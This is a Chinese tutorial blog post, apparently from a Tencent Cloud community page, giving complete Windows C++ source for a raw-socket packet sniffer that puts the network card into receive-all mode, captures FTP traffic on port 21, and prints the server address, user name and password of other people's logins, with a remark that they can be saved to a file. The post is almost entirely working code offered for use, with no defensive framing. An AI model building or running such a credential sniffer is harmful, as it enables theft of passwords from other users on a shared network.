侦听局域网内密码

只需在前面的网络嗅探程序基础上,添加对搜索出的端口号进行的增加功能即可:

代码如下:

在DecodeIPPacket中添加:

switch(::ntohs(pTCPHdr->destinationPort))
            {
            case 21:
                {
                    GetFtp((char*)pTCPHdr+sizeof(TCPHeader),pIPHdr->ipDestination);
                }
                break;
            case 80:
            case 8080:
                break;
            }
void GetFtp(char *pData.DWORD dwDestIp)
{
    char szBuf[256];
    static char szUserName[21];
    static char szPassword[21];
    if(strnicmp(pData,"USER",5)==0)
    {
            sscanf(pData+4,"%*[]%s",szUserName);
    }
    else if(strnicmp(pData,"PASS",5)==0)
    {
        sscanf(pData+4,"%*[]%s",szPassword);
        wsprintf(szBuf,"Server Address:%s;User Name:%s;Password:%s;\n\n",::inet_ntoa(*(in_addr*)&dwDestIp),szUserName,szPassword);
        printf(szBuf);
    }

}

完整程序如下:

/////////////////////////////////////////////////
// PasswordMonitor.cpp文件

#include "../common/initsock.h"
#include "../common/protoinfo.h" 

#include <stdio.h>
#include <mstcpip.h>

#pragma comment(lib, "Advapi32.lib")

CInitSock theSock;



void GetFtp(char *pData, DWORD dwDestIp)
{
    char szBuf[256];
    static char szUserName[21];
    static char szPassword[21];

    if(strnicmp(pData, "USER ", 5) == 0)
    {
        sscanf(pData + 4, "%*[ ]%s", szUserName);    
    }
    else if(strnicmp(pData, "PASS ", 5) == 0)
    {
        sscanf(pData + 4, "%*[ ]%s", szPassword);

        wsprintf(szBuf, " Server Address: %s; User Name: %s; Password: %s; \n\n", 
                                ::inet_ntoa(*(in_addr*)&dwDestIp), szUserName, szPassword);

        printf(szBuf);    // 这里您可以将它保存到文件中
    }
}


void DecodeIPPacket(char *pData)
{
    IPHeader *pIPHdr = (IPHeader*)pData;


    int nHeaderLen = (pIPHdr->iphVerLen & 0xf) * sizeof(ULONG);

    switch(pIPHdr->ipProtocol)
    {
    case IPPROTO_TCP:
        {
            TCPHeader *pTCPHdr = (TCPHeader *)(pData + nHeaderLen);
            switch(::ntohs(pTCPHdr->destinationPort))
            {
            case 21:    // ftp协议
                {
                    GetFtp((char*)pTCPHdr + sizeof(TCPHeader), pIPHdr->ipDestination);
                }
                break;

            case 80:    // http协议...
            case 8080:
                
                break;
            }
        }
        break;
    case IPPROTO_UDP:
        break;
    case IPPROTO_ICMP:
        break; 
    }
}


void main()
{
    // 创建原始套节字
    SOCKET sRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP);

    // 获取本地IP地址
    char szHostName[56];
    SOCKADDR_IN addr_in;
    struct  hostent *pHost;
    gethostname(szHostName, 56);
    if((pHost = gethostbyname((char*)szHostName)) == NULL)    
        return ;

    // 在调用ioctl之前,套节字必须绑定
    addr_in.sin_family  = AF_INET;
    addr_in.sin_port    = htons(0);
    memcpy(&addr_in.sin_addr.S_un.S_addr, pHost->h_addr_list[0], pHost->h_length);

    printf(" Binding to interface : %s \n", ::inet_ntoa(addr_in.sin_addr));
    if(bind(sRaw, (PSOCKADDR)&addr_in, sizeof(addr_in)) == SOCKET_ERROR)
        return;

    // 设置SIO_RCVALL控制代码,以便接收所有的IP包    
    DWORD dwValue = 1;
    if(ioctlsocket(sRaw, SIO_RCVALL, &dwValue) != 0)    
        return ;
    
    // 开始接收封包
    printf(" \n\n begin to monitor ftp password... \n\n");
    char buff[1024];
    int nRet;
    while(TRUE)
    {
        nRet = recv(sRaw, buff, 1024, 0);
        if(nRet > 0)
        {
            DecodeIPPacket(buff);
        }
    }
    closesocket(sRaw);
}

执行结果:

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 结构体的优化声明

    声明一个结构体的时候,因为考虑到内存的对齐。例如,int型的变量,需要4个字节,那么它在存储的时候就需要在地址能够被4个字节整除的地方开始申请。 例如我们申请下...

    用户1154259
  • 大数加法

    语法:add(char a[],char b[],char s[]); 参数: a[]: 被乘数,用字符串表示,位数不限 b[]: 乘数,用字符串表示,位数不限...

    用户1154259
  • wisock寻址

    winsock第一个版本使用sockaddr来强迫使用特定的寻址方式,这样添加其他的协议就不可能了 1 struct sockaddr 2 { 3 u_...

    用户1154259
  • Ubuntu 18.04 网卡配置

    其网卡配置文件为:/etc/netplan/50-cloud-init.yaml,,netplan 描述文件采用了 yaml 语法,默认是用dhcp方式,如果要...

    大大大黑白格子
  • Linux同步机制 - 多线程开发总结

    1 对于CPU开销大的场景,能利用多核,就尽量利用多核(常常自以为某需求的运算量不大,且CPU足够快,就偷懒写个单线程,结果效率很低) 2 使用多线程的时候,默...

    三丰SanFeng
  • 如何应对混合云网络的复杂性?

    在经过一番艰苦努力的之后,我最终调试解决了一个非常棘手的混合云网络问题。 虚拟私有云(VPC)提供了一个包含免费虚拟机(VM)使用时间的培训项目,学生可以跟随一...

    静一
  • java在数组中放入随机数_如何在Java中随机播放数组

    There are two ways to shuffle an array in Java.

    用户7886150
  • 云应用:混合云需要混合网络来支撑

    在经过一番艰苦努力的之后,我最终调试解决了一个非常棘手的混合云网络问题。 虚拟私有云(VPC)提供了一个包含免费虚拟机(VM)使用时间的培训项目,学生可以跟随一...

    静一
  • 剑指offer——二叉搜索树的第k个结点

    题目描述 给定一棵二叉搜索树,请找出其中的第k小的结点。例如, (5,3,7,2,4,6,8) 中,按结点数值大小顺序第三小结点的值为4。

    AI那点小事
  • MySQL8.0.19-通过Limit调试递归CTE

    在MySQL 8.0.1中,我们引入了对递归通用表表达式(CTE)的支持。今天,我想提出一个解决方案,当使用递归CTE编写查询时,几乎每个人都会遇到:发生无限递...

    MySQLSE

扫码关注云+社区

领取腾讯云代金券